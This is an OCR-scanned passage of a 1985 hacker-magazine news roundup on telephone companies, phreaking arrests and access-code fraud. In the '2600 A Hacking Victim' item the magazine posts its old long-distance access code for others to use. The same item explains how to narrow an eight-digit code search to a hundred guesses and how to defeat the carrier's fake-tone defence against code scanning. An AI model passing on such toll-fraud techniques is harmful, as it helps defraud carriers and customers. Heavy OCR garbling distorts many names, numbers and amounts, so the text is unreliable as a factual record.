with the board, we'll improve and add to cur communications even more. And
that’s not the end. We're looking into all kinds of networking possibilities—
overseas bureaus, that kind of thing. What's closest on the horizon right now
though is our plan for a publishing center for lengthy articles and tutorials on
phones and computers, phreaking and hacking. We've found quite a few
talented writers and this would be a way for them to have their words read in
full.”

Full details on the publishing/distribution center will be anounced in the
future. Interested writers are urged to call ws, Donations will, of course, make
things happen faster.

“We have every intention of becoming as big as Exxon,” Petrovich said. “ And
think what that could mean to the hackers of the world.”

AT&T Keeps “800” Data To Itself

Assoguated Pres

Ihe judge who ordered the breakup of American Telephane and Telegraph
C'o. has ruled that ATET does not have to share its sophisticated 200 database
with the competition.

U.S, District Judge Harold H. Greene has turned down a request from the
Justice Department asking that portions of AT&TS “Common Channel
Interoffice Signalling™ data be made available to other phone COMPanies. new
and old, until they can develop their own systems,

Allielephone companies are entitled to use the 800 prefix on phone nu mbers
designated Tor calls paid for by the receiver

In 1981 AT&T developed a more sophisticated system so that numbers in the
second “field™ — the three after the B0 prefix—could be any three numbers and
the computer would still be able to find the right phone in the right city te ring.
This allows for rumbers with verbal significance, like B00-CAR-RENT.

The non-AT&T companies are using a less sophisticated database which
doesn’t have all of the extras of the AT&T system,
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['he Next Step in Custom Calling
Auslin Amencan SlaledTan

Most Auvstin (Texas) telephone users who are harassed by obscene or
threatening phone calls now have a way to trace those calls. Southwestern Bell is
offering a “customer originated trace " service for most Austin customers as part of
atest marketing of several advanced custom calling features. The program iscalled
custom calling services plus and Austin is the first city hooked up to it by
Southwestern Bell. Phone customers with numbers beginning withd or B nearly
60 percent of all Austin customers — will have the service available, The following
services will be olfensd:

® Cstomner orfeinated call iracing. Phone users.can immediately diala code to
automatically trace harassing phone calls. Upon customer request, Southweslemn
Bell will notify law enforcement authorities of the traced phone number. Bell,
however, will not divalge the identity of the obscene caller to the phone customer.
Each tracing of a call will cost 5.

® Selecrive call rejeetion. Calls can be routed 1o a special recording to explain
that calls will not be accepred at that time. Customers can also reject subseguent
calls from whoever called last. It is not necessary to know the number. The cost s
25 cents to establish a “reject st and 10 cents a day Tor maintaining the list,

& Selecrive call forwarding. Incoming calls from three designated numbers can
e sent 1o another remote telephone number, The cost is 10 cents for each time
s

* Awromaric re-call. A customer cancall back the last person who called or the
last number the customer called. The cost is 20 cents for each use,

® Disrincrive ringing. Calls from three designated numbers will ring with a
distinctive sound. The cost s 25 cents lor each use and 10 cents a day.

“Theres no aeed to sign up for anything,” sasd Bob Dunbar, Austin division
manager for Southwestern Bell. "You just pick up the phone and dial the right
code for the feature you want 1o use. 1ts that simple.™

Southwestern Bell will offer the services Tor one year in Austin 1o determing if
they should be offered systemwide

=11 this service is made available throughout the country, it could be a major
deterrent to ohscene or threatening calls,” Dunbar said, The custom calling system
will trace ohscene calls only if they originate lrom a phone in the service area, For
mare information, give a call to 51249985010

Industrial Espionage Seminar
SRR N MR

Hackers and phone phreaks and what they can do to your computer and your
business will be one of the features of the Industnal Espionage and Counter-
measures seminar to be held in Florda Apnl 25 and 26, 1985,

I'he objective of this seminar 15 to provide the pamicipants with {actual
information in layman’s terms so that they can evaluate their company’
vulnerabilitics and begin 1o develop protective systems to guard their data,
proprictary information, and communications.

For more info, contact Jim Boss at W83 18400 or write 10 Ross Engineering
Associates, Inc., 06 Hope Valley Court, Adamstown, MDD 21710,

Kenyan Pay Phones Prove Popular
It ew Work Dimes

In the first phase of a project to provide allordable elephone service 10 the
misses of Kun}'u_ 1,500 pg:.'phnnm.urc h\:'i|:|gi|:h'|:|||L‘d :hmuglmm this Texas-sized
nation.

Judging from the long lines that form at the pay booths, milking—los of it s
very much in voguee. The scene plaved out on any day at the row of public phones
outside Nairobi'smain post office 1s repeated in the various nooks and erannics of
this East Afrcan nation.

A caller—coins and personal directory in hand —occupies the booth, Three
people patiently wait for their tun. The conversation grows longer; so does the
line. Soon there are 6, 7, then 10 people standing in ling. all casting querulous
glances at the 1alkative offender. Some Kenvans have taken w0 calling this
allliction ™elephonitis.™

Simon Gachoka was number 8 in line recently outside the post office on the wide
thoroughfure of Kenyatta Avenue. Peering over the heads of the |0HR'5U1fﬂfiﬂE
athers, he stared at the booth'’s occupant and then rolled his eyes in exasperation

“What is there Lo talk so long about?” he asked to noone in particular, “What is
the romance with the telephone? | came 1o make a quick call and now the whole
lunch hour is spent waiting Tor the end of a conversation that probably has no
known significance.”

This Month’s Troublemakers

The Cirasad Rapuds Pris

A Margquette (Michigan) man who authorities say devised and wsed a scheme 1o
evade long-distance telephone fees has been charged with 148 counts of wire fraud.
He made 112 calls by dialing 980 a number used by Michigan Bell employees to
test equipment, and then “applving multi-frequency tones to the ling 1o call
whastever telephone number he wanted,” states the indictment. By using the
three-digit number. which “was not generally known™ about by the company™s
customers, none of the calls were recorded on the billing computer.

The indictment also alleges that the man [identified 1o us as Flash Hoser, "the

untraceable phreak of the Great White North”] made 23 long-distance calls that
were fraudulently charged 1o Martin Marieta Corp.. through the corporation’s
Wide Arca Telephone Service (WATS) line at its Orlando, Florida acrospace
division,

The indictment further accuses him of making eight calls that were charged o
individual customers of LDX Corp.. a St. Louis, Mo.. company that sells long-
distance phone service.

If convicted, the offender faces a maximum penaliy of T40 vears imprisonment
and a $740.000 fine,

Ansisaiod Prow

Three wenagers have been charged with using home computers 1o make frec
long-disiance telephone calls estimated 1o be worth hundreds of thousands of
dollars or more.

Palice spokesmen said the vouths, all from northwestern suburbs of Chicago,
have Been charged with theft of service —a felony—regarding the long-distance
calls. They have also been charged with illegal wse of a computer, called *hacking”,
a misdemeanor.

The teenagers range in age from 14 to 15, They probably will receive probation
because none has a cnminal record.

The phone companies might seek restitution from the youths® parents.
—

The parents of "Echo Man,” 16, “Three Rocks.™ 15, and "Uncle Sam.™ 17,
probably thought they were in their rooms doing homework. Instead, the
Burlingame, California teenagers were programming their Apples to scan the
Sprint telephone-service computers for valid access numbers, which they used 1o
make free calls. The hackers then posted the numbers on an clectronic bulletin
hoard, so others could share in the spoils. That was their undming. Local police,
wha had been monitoring the bulletin board, raided each of the hackers’ homes
and found enough evidence to charge them with felony theft and wire fraud. But
the police chose not to prosecute if the youngsters agreed to pay Sprint for the calls
and write [0-page papers—on dpewriters, no less—on the evils of computer
hacking.

A Mechanical Hacker

Niime

When Clark Dill, director of sanitation for the City of Fayetteville, N.C.. came
10 work one day recently. he found an imrigeing little mystery on his hands:
despite the fact that his department is locked and deserted each night. switchboard
computer records showed that more than 100 telephone calls—most within
seconds of each other— had been placed overnight from two telephone extensions.

Burglars? Electronic pranksters? Turns out it wasnt an intruder at all, but two
Coca-Cola machings trying 1o phone home. Both had been equipped with
computers to let the local distributor know when it was time for a refill. “The Coke
machines were calling the compauter at the Coke company and for some reason the
computer just woulkdnt answer.” said Dill, “So the machines just kept calling and
calling and calling.”

Redemption for a Hacker
United Press Inicrrational

A 15-year-old boy who once broke into a bank’s computer has eased his
conscience by helping the police to crack a computer code that led 1o evidence
sought ina child sex abuse investigation, the authonnes say,

It 1ok just 45 minutes 1o unravel what the police had puezled over for nearly a
maonth.

A police spokesman said 1he computerized accounts appear to be confessionals
of sorts. But he said he did not know whether they would be uselul as evidence,

I.R.S. Computers Screw Up
Laong lskand Mewsday

A S100-million computer system that was supposed 10 speed the processing of
federal income tax returns by the Internal Revenue Service has developed so many
glitches that many taxpayers expecting refunds will have 1o wait abow 10 days
longer than st year [or their checks. :

I.R.S. ofTicials said there have been numerous breakdowns of the Sperry Univac
1 100-84 computer system since it was instalied last fall in the LRSS 10 regional
processing centers. “Anviime you pul a new sysiem in. there are going to be
problems,” suid Bob Hughes. director of the LR 5% Holtsville {(New York)service
center. “They are not catastrophic in nature, But they are irritating as hell.”

Hughes said. “I'm convinced we now have a sold system.” Moments later,
however, he was announcing yet another computer breakdown over the eenter's
public-address system. A lew minutes ago, we lost part of the system — but not the
mainframe,” he s,

Computel Does Exist
Sl Nepwn Sy

Compraref, a new phreaker hacker and technology eriented newsletter, has not
folded according 1o John Reynolds, a Comparel employee. Hecently they have
heen receiving complaints because of not publishing alter o massive adverising
campaign. Revnelds said that the first issue will soon be avinbable. He blamed a
hroken printing press for the delayand a shortage of funds for the disconnecting of
their 1oll-free number
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At the Last Stroke...

Avsocaned Press

At precisely |1 am on April 2nd a man’s voice was heard on Britain®s welephone
talking clock for the first time.

The smooth haritone voice of pari-time actor Brian Cobby. 533 years old,
replaced the modutated contralto of Pat Simmons, whose voice was retired after
21 vears ot precisely 10059 and 50 seconds.

Last [ecember Mr. Cobby was chosen from amaong 3000 competitors to el the
nation the precise time every 10 seconds in a recorded telephone message that is
expected 10 receive 300 million calls this vear.

Only two other voices have been heard on the telephone clock since it was
devised in 1939, Both were women’s,

Mr. Cobby, an assistant supervisor a1 a telephone exchange in Brighton in
southern England, said it was “a great honor to be Britanmia'’s wristwatch, " He was
paid the equivalent of 36,000 to record the B.640 Gme announcements in one
24-hour period.

Good Apples for the Soviets

The Sew Yok Tunes

The Reagan Administration appears to be preparad to cooperate with Soviet
efforns o put personal computers in secondary schools, according to industry
officials negotiating export licenses.

“We expected it would be more difficult, so | was guite pleasantly surprised,”
said Albert Eisenstadt., a viice president of Apple Computer who was in
Washington to discuss computer exports with Commerce and Defense
Department officials. “They just want 10 make sure we do it righ,™

The Soviets are already producing their own *Agan™—a Soviet knockofl of an
Apple I, but they are nat able 1o produce enough. That is why 1BM, Commodaorne,
Sinclair Research Lad., and Apple are all competing for the Soviet market.

The Commerce Department has argued that 1t makes no sense o bar American
companies from selling computers the Russians could easily obain in Japan and
Britain, The Defense Department, which has taken a harder line, scems
unperturbed by the thought of exporting thousands of machines, provided they
are used for education. By law the sale of “hardened “machines that are designed to
withstand hattleficld conditions are barred

Hackers Go Free
Ire Sew York Times

Four teenagers who weed home compuiens to tap into a spce agency computer
at the Marshall Space Flight Center will not be prosecuted. United States
Attermey Frank Donaldson announced.

The FBI seized the vouths' computer eyuipment at their homes in Huntsville,
Alabarna, last July 16 after tracing the phone calls wsed to enter the compuier.
Unauthorized access 10 a computer s not permitted,

One of the vouths, Robert Grumbbes, 17 vears old, said he wished the FBl would
retuen his 35,000 computer because ™1 don see any reason for them 1o keep it
[Keep up the spirit. Rob.]

Robot Kills Man

The Sew Vaork Tases

Last summer. 2 Michigan man was the first worker killed by a robot in this
country, The 34 year-old victim, working with automated die-casting machinery
Last July, was pinned between the back of a robot and a steel pole, the National
Center for Disease Control reported. The worker suffered a heart attack. ks
into a coma and died five days Later

There are more than 6 200 roboets inwse nationwide.

LY
Santa Fraud’
Asscianad Press

Randy Grimm didn know it cost 55 cents every time he called a sports trivia
game, so the T3-year-old diated it 330 times last month hoping to answer the quiz
correctly and win a prire. His mother received her telephone bill: 18 pages long,
with mare than 3190 worth of “976" calls. But Ms, Grimm doesnt want to pay. and
neither do the parents of Josie Aaronson-Gelb and Rachel Krebs-Falk, who
repeatedly called a Santa Claus message last December. not knowing il was
costing 50 cents a shot.

Josie and Rachel. both 7. are plaintiffs of record ina 310 million lawsuit filed in
San Francisco Superior Court against Pacific Belland the company that eperates
the Santa Claus Ling.

The suit accuses Bell and “Santa Frawd ™ of deceptive advertising “designed to
falsely mislead children into belisving the calls were free™and inducing them tocall
repeatedly.

The suir, fibed on behalf of all California chibdren, asks for a refund for an
estimated 100,000 families and 510 million i punitive damages 1o set up a
children’s protection fund to fight deceptive advenising.

Overseas Pirates
0 News Servace

In the large cities in Holland last vear, you couldn't switch on the TV at times
without tuning in to a pirate station, With equiprment costing as little as 20€, they
would break into the cable networks that service as much as %06 of Hollands
urbamn areas, Some would transmit anything they could get their hands on, just for
the sport of it—while others tried to do things that were peauinely new to TV
Artists and perfommers wene guick 1o join in, and Tora while the country enjoyed a
madcap, unpredictable after-hours TV service, There was everything from pop
video 1o pomography, from foreign TV shows 1o feature films, even one station
that rransmitted occasional saanic sermons,

Threats of prosecution over copyright of some of the bootleg material puta stop
1o many.of the pirates, In addition, the cable owners have now stared switching
off their svstems outside regular hours, a remedy that was deemed illegal on a
technicality last vear. Most of the pirates have now gone back 1o the radio and the
anarchic highlights of after-hours Dutch cable TV may never be seen again.

Real Life War Games?

Chnni

A Sianford University computer operations specialist has filed a Liwsuil 1o
Block the U5, from hooking up a cempauter system that would automatically
launch nuclear missiles in responss (o an incoming nuclear attack.

Clifford Johnson argues that it is unconstitutional to give war-making power Lo
the so-called lunch-on-warning computer system. He recently suffered a legal
setback when the federal district judge declined to render a decision. The case wall
now go 1o the LS. Court of Appeals in San Francisco.

Although the 1.5, does not officizlly have the capability to deploy the launch-
on-warning system, the technology 1o do so is definitely being developed by the
Pentagon, Johnson clams. And he siys, Secretary of Defense Caspar Weinberger.
who is the defendant in the lawsuvit, has stated that the U 5. has not closed the door
on the launch-on-waming oplion.

Mot only does Johnsen fear that the launch-on-waming computer could
somehow malfunction and starta nueclear war, but he points out thaf the satellites
and radar that would warm the computer of an encmy missile launch could
themselves sound 2 false alert, one that the computer would be unable to
distinguish from the real thing.

“Ta hook this system up in peacetime i in essence anact of war,” Johnson says,
“hecause there is a definite risk of it going off acodentally,™

Silver Pages
Cambined News Soustes

Southwestern Bell Media is publishing a new phone book, printed in a larger
typelace for senior citizens. 1t is expected 1o arrive in New Jersey in August and
will be published in |10 cities across the United States and will feature stores that
offer discounts to those age 60 and older. The directory. called the Silver Pages,
will also inclede infommation on agencies on aging. [ Hoepefully, these directones
won't weigh 50 pounds. |

Other News

Camibined News Sousis

* A ielephone operators’ union threatened 1o picket an appearnce by Joan
Riversatan AFL-CIO meeting. The union thinks that the comedian went i bit too
far in bad-mouthing operatars ina commercial she did for MClcommunications,
which doesnt use operators, The 630.000-member Communications Workers of
America also charges thit Rivers reneged on her acceptance of a challenge to work
a day as an operator.

* The telephone company cannot seem to get the lines uncrossed at Fremantle
International, The company has six telephone lines, For the Last several weeks.
incoming callers have been culling into conversations in progress on other
Fremantle lines. And when calls come it. all lights Nash on all the phones, so it is
just m guess which is the incoming call and which are calls in progress. Further.an
incoming call might connect to a call-in service —one with a seductively voiced
woman. "We've just been doing major business with the Christian Broadeasting
Merwork,” reported Craig MacDonald, the companys marketimgdirector, “That's
when it becomes not amusing,”™

* Bell Canada said it began charging large users of U5, directory assistance to
climinate abuse of the service by customers who use free directory assistance 1o
compile customer lists for sabe 1o US. companies. Phang lines will now have free
directory assistance for the first 250 reguests,

® Pacific Bell has found a way to bet a single phone line carry two voice and three
computer conversalions at the same time.

# United States banks lost an estimated $70 million 10 S100 million from
fraudulent use of automated teller machines in 1983, wath customers forfeiting
millions from last or stolen eards, the Government says. Banks suffered the bulk of
the losses.



414 Bust
S Mpws Servee

Six people in area code 414, Wisconsin, were arrested for
credit card fraud. The World of Cryton BBS was taken down as
a result, but was reporiedly not the target of the investigation,
which is being continued by the Secret Service in several cities,
The Wizard, Phoenix, and many other phone phreaks were
among those were were implicated in the investigation.

Police Hacker Cleared

Compuiorwonid

A preliminary investigation by the San Franciso Police
Commission has cleared the police department of wrongdoing
in the recent controversy over a breach in computer security,

Noevidence had been uncovered to substantiate charges that
a police licutenant used a specially designed menu to gain access
to Public Defender Jeff Brown's confidential files, which are
stored in a shared computer system in the city's Hall of Justice
building.

Although the licutenant admitted that he was given an access
level usually granted only to system administrators to conduct
an internal police probe, he has denied allegations that he read
confidential files stored by other agencies.

As a result of the police department’s actions, a public
defender had asked a San Francisco court to dismiss murder
charges filed against one man, saying that the security breach
had violated his right to attorney-client confidence. The judge
ruled against the defense’s motion.

Dial-a-Directory
54 Toxday

Soonto be published is a directory that lists more than 2,500
“informative, exciting. and entertaining recorded phone
numbers.” Called The fneredible Dial-a-Message Divectory, it
lists many of the familar and unfamiliar recorded messages
around the country, *1 went through 2,500 phone books,” says
Mark C. Guncheaon, the book's author and no stranger to three
digit phone bills. The book includes such numbers as Dial-an
Avalanche 9073376742, The Sleep Line 2062582791, or Dial-a-
Romeo 2159766367.

Reagan Hangs Up on Kids
Seewark S Ledge

The two Montgomery, N_J. teenagers who were promised a
presidential phone call as their prize for winning a national
essay contest have been put on hold indefinitely, a White House
spokesman said, Donna Woodwell and Kate Baicker, both 13,
have been waiting four months for President Reagan’s phone
call, which they were promised as their reward for submitting
the winning essay and illustration in a contest sponsored by
Current Events magazine. Connie Mackey, the White House's
director of student correspondence said she never was
contacted by the publishing company and doubts whether they
had arranged for the presidential call.

The editor of the publication said the kids may get a trip 1o
Washington, D.C. Their winning essay and illustration was one
of more than 400 entries in the contest, which was open to
students in fourth through 12th grade. The entry, which urged
the Reagan Administration to strive for nuclear disarmament
was written by Baiker and illustrated by Woodwell.

1985

MCI goes to U K.

I8 Wall Streed Jourmal

MC] Communications Corp. said it inaugurated long-
distance telephone service to the United Kingdom, increasing
to 18 the number of overseas locations MCI serves. The U.K.
countries represent 15% of the international long-distance
telephone market that totals 36 billion in annual revenue, a
spokesman for the telecommunications company said. MCl
expects to reach 807 of the international market by the end of
this year.

Yellow Scam
e Wislbralpe News Trbune

Owners of small businesses in New Jersey are being targeted
by telephone solicitors who are duping them into buying
advertisements that never appear in the Yellow Pages. The
*¥ellow Pages™ scam is a well operated, out-of-state operation
that floods areas with invoices for Yellow Page advertising.
Unfortunately, the advertising is not for the directory published
and distributed by New Jersey Bell. Businessmen are reportedly
getting invoices from a company that uses the “fingers do the
walking” logo instead of the pretiy Bell logo according to
Monmouth County Consumer Affairs Director Sally Mollica.

“Crackers” Cracked

Ol Tonday

Transcall America, an Atlanta based discount long-distance
telephone service, has uncovered a group of computer crackers
who ran up at least 312,000 in illegal calls in five months.
According to company officials, no one has been charged, but
the FBI is investigating the case and could bring state and
federal charges, The crackers were caught when investigators
allowed a stolen access code Lo be posted on a Cocoa Beach,
Florida, bulletin board, to remain valid, and to be traced. The
bogus calls were traced to several homes in Brevard County,
Florida.

Carrier Choosing Time
Ansociiod Pros

Bell Atlantic telephone companies in six states and the
Dristrict of Columbia will begin using ballots at the end of May
to make it simpler for customers to sign up for easy access
long-distance dialing. Equal access, as the system is called, was
agreed to as part of the AT&T breakup. It gives all long-
distance companies equal access o customers by allowing
callers to reach their long-distance company by dialing *1."
instead of a multi-digit access code, Customers of Bell Atlantic
now must place their orders through the long-distance
company instead of balloting. AT&T competitors claim
balloting gives companies a better chance to get part of the
long-distance market.

Mystery Transistor
Blusiness Week

Enthusiastically describing ongoing projects, Robert W.
Lucky. executive director of research for communications
sciences, mentioned that Bell Labs rescarchers were working on
a“ballistic transistor™ that switches at the incredible speed of 10
femoseconds (| quadrillionth of a second). No sooner were the
words out then he caught himself. *1 guess | shouldnt have
mentioned that,” he said half<jokingly to two public relations
people in the back of the small conference room.
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Bell Didn’t Invent Phone?

The Assawared Pres

Antonio Meucci is credited by some as the true inventor of
the telephone. Meucci, who reportedly could not afford the 10
for a temporary patent back in 1873, was honored by ltalian-
Americans in Meucci Square. The 177th anniversary of
Meucei’s birth was heralded by John LaCorte, who said “1f he'd
had the $250 (for a permanent patent) then, the world would
call it Meucci Telephone today, not Bell Telephone.”

One of six inventors racing to invent the telephone, Meucci
publicly showed sketches of his designs used in the temporary
patent in hopes of attracting investors, but to no avail,
LaCourte said. LaCourte added that Bell patented the
telephone based entirely on Meucei’s electrical designs.

The only remaining tributes to Meucci are the square off
Avenue U and 86th Street in Brooklyn and the little-known
Garibaldi-Meucei Museumn on Staten Island. The square,
incidenially, is across from the Bell Telephone Co. Building.

The ltalian Historical Society of America unsuccessfully
sued in 1976 to enjoin the Postal Service from issuing the Bell
commemorative stamp on the ground that Meucci was the true
inventor of the telephone. LaCourte said he intends to keep
alive his drive to have Meucei similarly honored by a post office
commemorative stamp, and that he harbors no ill will toward
Bell, *1 can prove Meucci was the inventor—plain and simple.
Bell just became a millionaire with Meucet's invention.™

Porno Phone Service Busted
A mtel Pise

In the first federal prosecution of its kind, a 23-count
indictment has been returned charging a New York corporation
{Carlin Communications Inc.)and four individuals with
running a pornographic telephone service that allegedly was
dialed by some Utah children. The official charge was interstate
transportation of obscene matter.

*Convictions in this case would challenge the phone-sex
industry, which has spread across the country during the past
two vears,™ U.S. Attorney Brent Ward said.

The Federal Communications Commission ruled in June of
1984 that commercial operators of “dial-a-porn™ phone services
must restrict children's access by limiting hours of operation
and the method of paying for the service.

IRS Drives Telco To Drink

Phukadelpha Inguurncs

An enormous volume of calls from taxpayers seeking
information {rom the Internal Revenue Service on their late tax
refunds threatened to knock out telephone service to much of
Center City Philadelphia in April, according to Bell of
Pennsylvania officials,

To prevent the massive number of inguiries to the IRS from
overloading the 40,000 telephone access lines serving hall of
Center City, Bell technicians had for a number of wecks been
electronically diverting millions of calls. “The traffic had been
coming inat such a rapid rate that it virtually ripped our system
apart. If we didnt [divert phone calls]. it would have put the
office in real jeopardy--the ability of people to make calls or
receive them, " said James Killeen, an engineer in the company’s
electronic-switching division.

During one 15-minute period. Bell was able to count at least
6,000 calls made to twao IRS numbers, But officials say the
actual volume of additional calls being made to the IRS
numbers at the same time was so heavy that it was beyond the

1985

capabilities of their computerized monitoring equipment.

The crush of telephone calls was spurred by the IRSsdelay in
processing millions of tax returns filed at the agency’s
Roosevelt Boulevard service center. As of late April. an
estimated one million returns had not been opened, according
to theagency. A spokesman for the IRS said they were unaware
of the problem with telephone-call volume,

The IRS maintains 34 access lines for its toll-free tax
information number. The agency has 23 access lines for its
“Tele-tax” line (2155928946), which taxpayers are supposed 10
be able to call and punch in their Social Security number on the
telephone to obtain information about the status of their tax
refunds.

The majority of telephone calls were diverted by Bell witha
recording saying “all circuits are busy.” And those that got
through say they were frequently disconnected.

Occasionally. even stranger things happened on the IRS
lines. Once they succeeded in reaching either number,
taxpayers said they found themselves talking not to an IRS
computer or a telephone assister, but o other taxpayers.

Jersey Wins Wiretap Race Again
Sewark Star-Ledper

New Jersey telephones were far more likely to be tapped by
law enforcement authorities than those in any other state last
vear, a distinction that has been noted in the last seven annual
wiretap reports issued by the Administrative Office of the U5,
Courts.

Michael Bozza, assistant director of criminal justice in the
state Attorney General’s Office, reiterated that New Jersevs
zealous use of electronic surveillance demonstrates that law
enforcement authorities are especially aggressive in investi-
pating organized crime.

According to the report, New Jersey authorities sought and
received court approval for 151 tapsin 1984 -anincrease of 29
over the 1983 total. The jump reverses a trend that had brought
the number of wiretaps down steadily in recent vears.

New Jersey was followed in the ranking by New York, which
used 122 wiretaps, Florida, with 58, and Pennsylvania. with 46.
No other state had more than 23 wiretaps authorized last year.
More than 40 percent of the nation’s wiretaps were authorized
in New Jersey, New York, and Florida, the report said.

AT&T Computer Caught Stealing
The Mea Yark Temes

The BellSouth Corporation has been told by AT&T that as
many as 41,000 business customers might have been improperly
assigned to AT&T long distance service.

BellSouth has filed plans with the Department of Justice to
correct the results of an AT&T computer program that
erroneously assigned service under the equal-access program
mandated by the breakup of the Bell System,

Meanwhile, Nynex says that a previously reported figure ol
gsome 19,000 business customers in the Nynex region
improperly assigned to AT&T long distance service had grown
toabout 47,000 as a result of additional programming mistakes
reported by AT&T.

In a related development, the Bell Atlantic Corporation said
it would alter its method of allocating callers to long-distance
carriers. Beginning in September, Bell Atlantic said customers
who did not choose a long-distance carrier after having two
opportunities 10 do so would be assigned a carrier by Bell
Atlantic. Previously, customers who did not make a choice
were left with AT&T.



$2 Billion Error
Associated Press

Somewhere in the federal bureaucracy, a clerk has made a 2
billion error that will take an act of Congress to correct,

When Congress was scurrying around last year for ways to
reduce the federal deficit, a natural target was the 3 percent
excise tax on telephone service, which was due to expire at the
end of 1985, The lawmakers voted 10 extend the tax through
1987, But after the law containing the telephone tax and
hundreds of other tax provisions was signed by President
Reagan, somebody noticed that 1985 had been deleted from the
list of years to which the telephone levy applies.

That oversight is being rectified in something called the
“Technical Corrections Act of 1985." Such corrections have
become commonplace in recent years because Congress has
been changing the laws with regularity, The 1984 law that the
1985 bill is correcting was so voluminous that the staff of the
Joint Committes on Taxation took 1,257 pages to explain,

ITT Crackdown

Radio Elecironics

AnITT Corp. task force, the FBI, and other law enforcement
agencies are engaged in a major crackdown on illegal users of
the ITT Longer Distance telephone service. That service is
provided to residential and business customers in 113 major
metropolitan areas. To place a call on the system, customers
dial a special access number, then the phone number they want
to call, and finally their authorization code, which bills the call
to the customer's account.

In one case, an FBI investigation led to the indictment of a
former ITT employee who was charged with selling ITTs
authorization codes. The codes were sold to a New Jersey
company, which used them in a nationwide campaign to sell its
products through its large telephone sales force.

GTE Sprint Cheats Customers

Mewark Star-Lodper

GTE Sprint has been sued for allegedly overcharging its
customers millions of dollars on calls made during
Thanksgiving and Christmas,

The class action suit was filed in Superior Court by the Los
Angeles-based Center for Law in the Public Interest. A
complaint was alse sent to the California Public Utilities
Commission.

The suit alleges the company charged regular daytime rates
from 8 am to 5 pm on November 22, 1984 and December 25,
1984 instead of the lower evening rates which it advertised,

The overcharges were estimated at 52 million to $4 million.

Listening In On Cellular Phones
USA Today

Car-phone owners, beware. For $350, an eavesdropper can
snoop on your cellular-radio conversations. It's random and
basically anonymous, but its snooping nonetheless, “Very
simply, as long as radio waves are being transmitted, we can
listen in on them, " said a Vienna, Virginia electronics salesman
who sells cellular-radio scanners made by Indianapolis-based
Regency Electronics,

More Phone Fraud

Toclay Maganme
Crackers in at least three major cities have been blamed fora

1985

$60,000 phone bill that was sent to a Californian man whose
stolen credit card number was apparently posted on ar
underground network of computer BBS's. Officials with GTE-
Sprint Communications Corp. told the Associated Press thai
computer vandals in Atlanta, Baltimore, and New York used
the Sprint number of Robert Bocek to charge more than
250,000 minutes of calls in two months. Sprint spokesman
Mike Furtney said “an investigation is underway™ with law
enforcement officials in the three East Coast cities and at least
seven others. Bocek's mid-December bill ran 722 pages, listed
17,311 calls totaling 256,697 minutes, and costing $55,562.27,
not counting an $8,197 “volume discount. "[Computer vandals,
eh? What il they used a car to drive to the payphone, are they
car thieves? Arent computer vandals people who wreck
computers?]

Computers Monitor Truckers
The Wall Strort Jowmal

Leprino Foods Company of Denver has outfitted its entire
trucking fleet with portable computers that hook up to sensors
in a truck’s engine and transmission. The devices gather
detailed information about a truck’s trip: what times it stopped
and started, how fast the engine ran, how fast the truck was
going throughout the trip.

The last statistic is especially potent at Leprino, which wields
both carrot and stick to encourage its drivers to stay under 60
miles an hour. A trucker gets a bonus of three cents a mile for
every trip he makes without breaking 60.

But the first time a printout shows a driver sped at 65 milesan
hour or faster, he gets an official reprimand. The second time,
he is suspended without pay for a week. The third time, he is
fired. Leprino has fired half a dozen truckers for speeding since
the computers started to be installed about three vears ago.

Drivers at Leprino arent enchanted with the system. “I
started driving trucks because I'm kind of an independent sort
of a guy that didnt like having the boss always looking over my
shoulder,” says E.K. Blaisdell, a former Leprino driver who
recently became a dispatcher. “Then they managed to invent a
machine that looks over my shoulder,”

Missing Children’s Faces Displayed

Combinad News Services

Pictures of missing children are being flashed on an
electronic billboard in the Times Square area of New York City
as part of a new city drive to find the youngsters. Children’s
faces and a brief description are flashed on the screen in 30-
second spots, twice an hour between 8 am and midnight. They
are followed by the phone number of the police department’s
missing persons bureau and a plea that reads: “Please Help."

In Missouri, the nation's third largest movie theatre chain
announced it would begin a program to help find missing
children through slide shows in theatres in 103 cities. American
Multi-Cinema will feature two children each month. Slides
bearing photos of the children and their hometowns, ages, and
dates of disappearance are to appear at least four times before
each sereening.

Children’s faces are also appearing on milk containers, and
new technology is being used to project what these children will
look like in 1, 2, or 5 years. [Right now, they are only using this
with innocent missing children. Big Brother finds little brother,
easy as pie. It's quite possible that criminals’ faces will be
showing up in these places in the near future, followed by those
of suspects or malcontents. If not here, then somewhere....]
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2600 A Hacking Victim

SR s RV

When we received our June SBS Skyline bill, we were a bit
surprised. Over six hundred dollars of it came from calls we
never made. But what's really interesting is the way that the
Skvline people handled it. Inearly June, we gota call telling us
that their sophisticated equipment detected hackers trying to
guess a code by scanning numerically. They said our code
would soon be discovered, so they were going to give us a new
one, with two extra digits added. They did this and that very
day our old code was inactivated. The illegal calls had occurred
before that day, and we figure Skyline must have known this.
Mavbe they thought that 260d, in our corporate clumsiness,
would pay a huge bill without investigation. Many big
companies would. Gotta give them credit for trying.

When we called up about it, they didntwant to handle it over
the phone! “Send the bill through the mail,” they said. *Mark
the calls you made and deduct the rest.” Why are phone
companies so afraid to do things over the phone?

As long as Skyline decided to give the “perpetrators”™ some
extra time before the investigation starts, we figure we might as
well lend a hand too. Our old code was 880099, We loved that
code and are very upset at losing it, Our new eight digit one is
very difficult to remember and nowhere near as fun.

And one last note about those new eight digit numbers.
Phone phreaks have already figured out a way around them. If
vou dial the first six digits of an eight digit code, then the ten
digit phone number and hita # key. you'll get your tone back!
That means there are only a hundred possible codes since there
are only two more digits to figure out and one of them definirely
works! If vou enter six digits that are not part of an eight digit
code. and then a ten digit phone number, you'll get an error

message immediately or that fake carrier tone Skyline loves to
send out. That tone, incidentally, is for vou hackers with Apples
and Commodores that scan all night long looking for the code
that will get vou through to a number that responds with a
carrier tone. In the morning, vou see how many carrier detects
you got and which codes got them for you. Skyline’s idea is that
if every invalid code gives a hacker a carrier tone, there is no
way for a computer to separate the good codes from the bad
ones. Come on! How about setting your computer to dial a
non-carrier and telling it to print out only those codes that
dicnt get a carrier tone? And there are probably a hundred
more ways. Big corporations can be so much fun.

New Phone System For Courthouse
New Hrunswick Hoeme News

The Middlesex County Courthouse and Administration
Building will have a new phone system installed to increase the
security of the complex, according to Middlesex County
Prosecutor Alan J. Rockoff. [Yes, the same Alan J. Rockoff
that was convinced computer hackers were moving satellites
through the “blue heavens™]

The phone system, due by ieptemhcr will be able to detect
and cut off unauthorized calls made in an emergency situation.

“Once a phone is activated it will show up on this massive
diagram that will be ona computer screen and will show where
that phone is being used in the courthouse or the administration
building,” Rockofl said.

The svstem would monitor which plmnn were active and
would be able to cut connections in an instant. Rockoff
promised that the system would not be designed to tap phones.
